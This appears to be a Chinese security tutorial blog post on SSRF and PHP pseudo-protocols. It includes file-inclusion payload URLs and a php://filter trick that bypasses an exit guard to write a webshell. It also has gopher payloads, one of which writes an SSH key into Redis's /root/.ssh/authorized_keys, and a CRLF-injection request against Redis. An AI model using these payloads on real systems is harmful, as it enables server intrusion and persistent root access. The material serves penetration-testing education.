SSRF及伪协议的撸点

N0va7
2025-09-12 / 0 评论 / 3 阅读 / 正在检测是否收录...
温馨提示:
本文最后更新于2025年09月12日,已超过264天没有更新,若内容或图片失效,请留言反馈。

协议和伪协议

协议

计算机场景下的协议常常指的是通信协议(⽹络协议)。⽹络协议是通信计算机双⽅必须共同遵从的⼀组约定。如怎么样建⽴连接、怎么样互相识别等。只有遵守这个约定,计算机之间才能相互通信交流。

伪协议

伪协议其实算是⼀个虚概念,就是并不是所有语⾔、所有产品共⽤的往往是某个语⾔或者某个程序⾃身,为了解决⾃身内部的通信需求,⾃⾏编制的⼀个协议

平常在⽇常称呼时,也常常有⼈将这两个概念混⽤,⽐如把所有的伪协议都称为协议,或者把所有的协议都称为伪协议。这个问题不⼤。

PHP的伪协议

官方手册

https://www.php.net/manual/zh/wrappers.php

PHP 带有很多内置 URL ⻛格的封装协议,可⽤于类似fopen()copy()file_exists()filesize()的⽂件系统函数。

除了这些封装协议,还能通过stream_wrapper_register()来注册⾃定义的封装协议。

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — 安全外壳协议 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

当然不是只有PHP支持这些,其中的部分还有一些语言也支持,比较通用的伪协议基本都支持

关于伪协议的利用Tricks

https://blog.csdn.net/cosmoslin/article/details/120695429

https://www.jianshu.com/p/8f1576b72420

伪协议测试PHP版本allow_url_fopenallow_url_include用法
file://>=5.2off/onoff/on?file=file://D:/soft/phpStudy/WWW/phpcode.txt
php://filter>=5.2off/onoff/on?file=php://filter/read=convert.base64-encode/resource=./index.php
php://input>=5.2off/onon?file=php://input [POST Data]=>
zip://>=5.2off/onoff/on?file=zip://D:/soft/phpStudy/WWW/file.zip%23phpcode.txt
compress.bzip2://>=5.2off/onoff/on?file=compress.bzip2://D:/soft/phpStudy/WWW/file.bz2
compress.zlib://>=5.2off/onoff/on?file=compress.zlib://D:/soft/phpStudy/WWW/file.gz
data://>=5.2onon?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

PHP伪协议代码审计通解

  1. 跟踪输⼊点
  2. 输⼊点进⼊到⽂件系统操作函数:readfile()file()file_get_contents()这类函数
  3. 能够控制参数的开头
<?php
  $input = $_GET['input'];
  file_get_contents($input."xxx");  //可撸
  file_get_contents("xxx".$input);  //不可撸  ../../
?>

像这种"xxx".$input开头一般情况下是不行的,但是如果存在更多参数的话可以尝试绕过

源码如下:

<?php

$content = '<?php exit; ?>';

$content .= $_POST['txt'];

file_put_contents($_POST['filename'], $content);
echo $content;
?>

当用户通过POST方式提交一个数据时,会与死亡exit进行拼接,从而避免提交的数据被执行。

然而这里可以利用php://filterbase64-decode方法,将$content解码,利用php base64_decode函数特性去除死亡exit

base64编码中只包含64个可打印字符,当PHP遇到不可解码的字符时,会选择性的跳过,这个时候base64就相当于以下的过程:

<?php

$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);

base64_decode($_GET['txt']);

Base64 解码时,将 4 个 “Base64 编码字符”(每个字符对应 6 比特二进制)还原为 3 个 “原始字节”(每个字节对应 8 比特二进制)

$content包含 <?php exit; ?>时,解码过程会先去除识别不了的字符,< ; ? >和空格等都将被去除,于是剩下的字符就只有phpexit以及我们传入的字符了。

由于base64是4个字符一组,再添加一个字符例如添加字符a后,将phpexita当做两组base64进行解码,也就绕过这个死亡exit了。

这个时候后面再加上编码后的一句话木马,就可以getshell了。

验证过程如下:

$filename='php://filter/convert.base64-decode/resource=s1mple.php';
$content = 'aPD9waHAgcGhwaW5mbygpOw==';
# PD9waHAgcGhwaW5mbygpOw== ===> <?php phpinfo();

SSRF是什么

SSRF(server-side request forgery) 为服务端请求伪造,是⼀种由攻击者形成服务器端发起的安全漏洞。

在⽐较早期的时候,⼤概是2010年到2017年中的时候,ssrf似乎还不是很盛⾏,当时往往只是利⽤这个ssrf去进⾏⼀个反向代理的作⽤,当时,ssrf更多还是本地资源的探测和访问、还有内⽹资源的探测和访问

后面国外有师傅总结,ssrf往往其实是⽀持跨协议的(从http/https到其他协议),从这个时候开始,ssrf开始⼤放异彩,在各个不同的会议和场合都开始有⼈在谈论了。

SSRF和CSRF的区别

从两点看,攻击的对象是谁,帮助我们发起攻击的对象是谁

  • ssrf攻击的是服务端或者服务端所在的内⽹资源,并且帮助我们发起攻击的是服务端
  • csrf攻击的是受害者的pc,帮助我们发起攻击的是访问⻚⾯的受害者的浏览器

Curl支持的SSRF协议

curl在不同语⾔都有插件或者扩展,所以如果我们在代审的时候,遇到某个ssrf漏洞是调⽤类似curl的模块去进⾏访问的时候,以上协议都可撸。

demo代码:

<?php

function curl($url){  
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, $url);
 curl_setopt($ch, CURLOPT_HEADER, 0);
 curl_exec($ch);
 curl_close($ch);
}

$url = $_GET['url'];
curl($url);


?>

SSRF的利用方式

参考文章

https://book.hacktricks.wiki/zh/pentesting-web/ssrf-server-side-request-forgery/index.html

https://www.freebuf.com/vuls/262047.html

访问内部Web-http/https协议

这是最初级的ssrf利⽤了,通过ssrf去访问⼀个开启在127.0.0.1的web应⽤或者开放在内网的web应⽤。很可能开放在内⽹的服务没有进⾏⽐较强的鉴权,那么就可能有⼀些撸点。

另外常见的利用是,内⽹存在其他可以直接rce的web服务,可以先通过ssrf探测web指纹,来确定是否存在特定应⽤。

当然也有⼀种利⽤⽅式是,直接对内⽹的web服务直接盲打各种rce,也有许多常⻅案例。这种利⽤⽅式在早期的⽹络攻防环境乃⾄现在的⽹络安全环境中,仍然很适⽤。

内网端口扫描-http/https协议

这个与上⾯探测内网服务类似,利⽤的是⼀种差分攻击(差别分析攻击)。

就是有⼀个简单的理论基础"端⼝开放情况下与端⼝不开放情况下",得到返回的时间会差别很⼤。以此,可以⽤来判断端⼝是否开启。

SSRF转任意文件读取

可利用的协议如下:

file //⼏乎通⽤
ldap、zlib、phar、tar、rar //php
jar //java
jar war tar

通过ssrf对本地⽂件进⾏读取,可以⽤来做代码审计、或者配置⽂件读取、密码读取,等等。

SSRF攻击内部应用

此处特指非Web的应用,比如Redis、MongoDB

利用协议:

  1. dict
  2. gopher

这两个协议也被称之为ssrf中的万⾦油协议了,因为他们都是封装协议(裸协议),可以⽤来封装其他协议

Gopher协议的利用

gopher://<host>:<port>/<gopher-path>_<TCP数据流>
<port>默认为70
发起多条请求每条要用回车换行去隔开使用%0d%0a隔开,如果多个参数,参数之间的&也需要进行URL编码

但是gopher协议在各个语言中是有使用限制的。

语言支持情况
PHP–wite-curlwrappers且php版本至少为5.3
Java小于JDK1.7
Curl低版本不支持
Perl支持
ASP.NET小于版本3

Gopher发送请求

在上面的内容中可以看到Gopher协议是被curl所支持的,所以说这个协议可以通过curl命令实现

Gopher发送GET请求

get型的http数据包如下

GET /testg.php?name=xxx HTTP/1.1
Host: localhost

GET请求需要进行URL编码才可以正常解析,编码的时候在最后一定要补%0d%0a代表结束,回车换行也是%0d%0a

curl gopher://localhost:4444/_%47%45%54%20%2f%74%65%73%74%67%2e%70%68%70%3f%6e%61%6d%65%3d%78%78%78%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a

Gopher发送POST请求

这几部分必须包含在内

curl gopher://localhost:4444/_%50%4f%53%54%20%2f%74%65%73%74%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%38%0d%0a%0d%0a%6e%61%6d%65%3d%78%78%78%0d%0a

参考文章

https://cloud.tencent.com/developer/article/2091368

https://www.cnblogs.com/h0cksr/p/16189737.html

https://www.bilibili.com/opus/560221060057317873

攻击对象

⽬前国内⽹络上⽐较多的被⽤来搭配ssrf打的内部应⽤⼤致有:

  1. redis
  2. fastCGI/php-fpm

https://blog.csdn.net/u012206617/article/details/108941738

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$401%0d%0a%0a%0a%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEk3QcSQWDzprYHpB0t+7/i8PCsow9F6DkJjVEgNkOvLKNLZ/BN1kt0HqWDLXbUwFScfav6mK4OfeCWZ7RBHUt2BpRA0p1nMPITx/SJ8/YeISGaa91/gwKFTPT1gaosOB4MMFVD8j7VmHskknSKsIiZmWmNHI16zGn7+6sHdJruA3cE7pPUWerkULWUw3jmVCwhdaO5RULUfI955hnio9IKwYieCenIiC8ZnnKJzXb7eB4zp34Jp3xZwbTAvpCx1/2I4LrNOqBnbm2Awdef9Yf484Q5K8Uj11kqKZYZhPKZq6913Hzx1y/krIe3qcBNxHM9W187W3xzRocdx/updNv huangniu@DESKTOP-758692A%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
配置SSH目录
*4
$6
config
$3
set
$3
dir
$11
/root/.ssh/
这部分内容采用Redis协议格式,它的作用是设置配置文件的存储目录。在Redis协议里,*4 表示接下来有4个参数,$6 表示后面的字符串长度为6,即 config;$3 表示长度为3的字符串 set;$3 表示长度为3的字符串 dir;$11 表示长度为11的字符串 /root/.ssh/。整体指令意思是将配置文件的存储目录设置为 /root/.ssh/。

配置数据库文件名
*4
$6
config
$3
set
$10
dbfilename
$15
authorized_keys
同样是Redis协议格式,*4 表示有4个参数,该指令是把数据库文件名设置为 authorized_keys。在SSH服务中,authorized_keys 文件用于存储允许登录到该服务器的SSH公钥。

保存配置
*1
$4
save
*1 表示有1个参数,$4 表示长度为4的字符串 save,此命令用于保存当前的配置信息。

退出操作
*1
$4
quit
*1 表示有1个参数,$4 表示长度为4的字符串 quit,该命令用于退出当前的配置操作会话。

综上所述,这一系列指令的主要目的是将SSH公钥配置到服务器的 authorized_keys 文件中,并且指定该文件的存储目录为 /root/.ssh/,最后保存配置并退出操作。

SSRF的检测绕过

参考文章

https://www.secpulse.com/archives/65832.html

SSRF代码审计案例

urllib库

在Python中,SSRF并不是很好利用的点

import urllib.request
url = "abcd://127.0.0.1:8080/test/?test=a"
url = "file:///etc/passwd"
info = urllib.request.urlopen(url)
print(info.read())

这⾥有两个协议我们可以利⽤,⼀个是file协议,可以⽤来读取本地⽂件。

⼀个是data协议,⽐较有趣⼀点,可以嵌⼊⼀些我们的任意输⼊,但是现在⽹络上似乎没有什么利⽤点。

request库

requests是⽬前⽤到的最多的http动作库,基本代替了urllib在⽇常产品中的份额。

同样可以通过动态调试发现他支持的协议

发现仅支持http/https协议。这就注定,他不能与php和java那样,⽅便的进⾏ssrf。

CVE-2019-9740造成SSRF

https://xz.aliyun.com/news/4755

from flask import Flask, request, render_template

import urllib

app = Flask(__name__)


@app.route('/')
def index():  # put application's code here
    return "hello world"


@app.route('/info')
def info():  # put application's code here
    host = request.args.get('host')
    method = request.args.get('method')
    if host is None:
        return "please input host"
    url = "http://" + host
    if method is None:
        method = "GET"
    auth = request.args.get('auth')
    if auth is None:
        auth = ""
    headers = {"Authorization": auth}
    try:
        req = urllib.request.Request(url=url, method=method.upper(), headers=headers)
        # req = urllib.request.Request(url=url)
        info = urllib.request.urlopen(req)
        return info.read()
    except urllib.error.URLError as e:
        print(e)


if __name__ == '__main__':
    app.run(host="0.0.0.0",debug=True)
http://139.199.77.35:5000/info?host=127.0.0.1:6379&method=*1%0d%0a$105%0d%0a&auth=auth%20xxxx1234567%0d%0aset%20xxxx%201234
*1
$105
/testg.php?name=xxx HTTP/1.1
Host: 127.0.0.1:6379
Auth: auth xxxx1234567
set xxxx 1234
0

评论 (0)

取消